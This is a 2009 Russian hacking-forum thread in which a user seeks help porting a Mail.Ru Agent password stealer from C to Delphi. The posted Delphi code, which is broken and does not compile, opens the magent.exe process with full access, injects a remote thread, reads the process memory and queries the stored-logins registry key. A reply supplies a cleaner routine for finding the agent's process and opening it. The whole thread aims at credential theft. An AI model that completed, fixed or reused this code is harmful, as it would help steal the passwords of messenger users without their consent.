ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос по Delphi! (help plizzz)
  #1  
Старый 31.03.2009, 07:45
Аватар для denjf
denjf
Участник форума
Регистрация: 12.11.2008
Сообщений: 146
Провел на форуме:
592199

Репутация: 21
По умолчанию Вопрос по Delphi! (help plizzz)

Спецы по Delphi помогите с кодом.

Значит я прочитал статью
http://www.xakep.ru/post/42226/default.asp

В ней говорится про кражу паролей из пямяти майл агента.

В ней дан код программы на С.


я пытаюсь переписать этот же код на Delphi.

половину я переделал и встал колом по следующим причинам!

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,tlhelp32, PsAPI, Registry;



procedure TForm1.Button1Click(Sender: TObject);
var
p:PROCESSENTRY32;
ct:cardinal;
th:Cardinal;

ts:TSearchRec;
sst:STARTUPINFO;
ss,s:string;

agent:thandle;
module: HModule;

car:cardinal;
hThread:thandle;

modinfo: MODULEINFO;
buffer: longint;
dwReaded: DWORD;

i,t, retCode, cValues: DWORD;
regValue: array[0..256] of char;
cchValueWORD;
szEmailchar;
iEmail:integer;
found:boolean;
Reg:HKEY;
begin

ct:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
Process32First(ct,p);
while Process32Next(ct,p) do begin

(p.szExeFile) then

OpenProcessToken(p.th32ProcessID,TOKEN_READ,th);
ListBox1.Items.Append(string(p.szExeFile));

if string(p.szExeFile)='magent.exe' then begin
listbox2.Items.append(string(p.szExeFile));

agent:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,p.th32 ProcessID);
end;
end;
CloseHandle(ct);
hThread:= CreateRemoteThread(agent,nil,0,@GetModuleHandle, nil,0,hthread);

WaitForSingleObject(hThread, INFINITE);

GetExitCodeThread(hThread , Module);

CloseHandle(hThread);

GetModuleInformation(agent,Module, @modinfo,sizeof(MODULEINFO));

ReadProcessMemory(agent,modinfo.lpBaseOfDll,addr(B uffer),modinfo.SizeOfImage,dwReaded);

if dwReaded>0 then begin

RegOpenKeyEx(HKEY_CURRENT_USER,'Software\\Mail.Ru\ \Agent\\magent_logins' ,0,KEY_QUERY_VALUE,reg);


cchValue:=1024;
retCode := RegEnumValue(reg, 0,regValue,cchValue, NiL, NiL, NiL, NiL);
label1.Caption:=regvalue;

end;

end;

при запуске процедуры когда программа пытается считать дамп агента. выскакивает ошибка MailAgent и говорит что инструкция по адресу 0х0000000 оьратилась к памяти по адресу 0х0000000. память не может быть read. После нажатия ОК Magent вылетает!

Помогите кто че нибуть в этом монимает! Заранее спасибо!
 
Ответить с цитированием

  #2  
Старый 31.03.2009, 16:51
Аватар для KaZ@NoVa
KaZ@NoVa
Постоянный
Регистрация: 05.07.2008
Сообщений: 555
Провел на форуме:
3134311

Репутация: 1467


Отправить сообщение для KaZ@NoVa с помощью ICQ Отправить сообщение для KaZ@NoVa с помощью AIM Отправить сообщение для KaZ@NoVa с помощью Yahoo
По умолчанию

Во-первых ты или не весь код выложили или он у тебя даже не скомпилится. Как понимать вот это:
Цитата:
"(p.szExeFile) then"?
Тут возможно if отсутствует, но даже если так, то szExeFile - это массив вайдчаров и писать просто "if вайдчар" нельзя. Нужно какое-то условие. У тебя его нет. Далее, что это: "cchValue"? Такая переменная даже не объявлена. Наверно, тут должно быть "cValues". Зачем выкладывать некомпилящийся код?

Теперь по твоему вопросу: если выскочила такая ошибка, значит ты переписала какую-то ячеку памяти Агента. Он, думая что там записаны его данные, обратился к чужой памяти, а винда, отловив это, показала ошибку. Где была попорчена память, я сказать не могу. Твой код не компилится. А думать что же могло быть на месте ошибки, что-то тоже не хочется.
 
Ответить с цитированием

  #3  
Старый 31.03.2009, 20:13
Аватар для criz
criz
Постоянный
Регистрация: 04.11.2007
Сообщений: 303
Провел на форуме:
811764

Репутация: 119
По умолчанию

ТС, используй тег code, нифига не читабельно =\
Я по делфи не спец, чем смогу помогу.
Функция GetProcess() выглядит примерно так:
Код:
var 
	pe32:PROCESSENTRY32;
	hProcessSnap:cardinal;
	proc:Cardinal;
begin
	hProcessSnap:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	Process32First(hProcessSnap,pe32);
	while Process32Next(hProcessSnap,pe32) do 
	begin
		if pe32.szExeFile='magent.exe' then
		begin
			proc:=OpenProcess(PROCESS_ALL_ACCESS,false,pe32.th32ProcessID);
			result:=proc;
		end;
	end;
 end;
посмотри еще на функцию ReadProcessMemory, обычно с ней проблемы случаются.

Последний раз редактировалось criz; 31.03.2009 в 20:23..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Вопрос на засыпку (delphi) desTiny С/С++, C#, Delphi, .NET, Asm 1 30.11.2008 14:16
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости 4 07.07.2006 16:53
Вопрос про Флудер на Delphi Utochka С/С++, C#, Delphi, .NET, Asm 3 25.06.2006 22:47



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ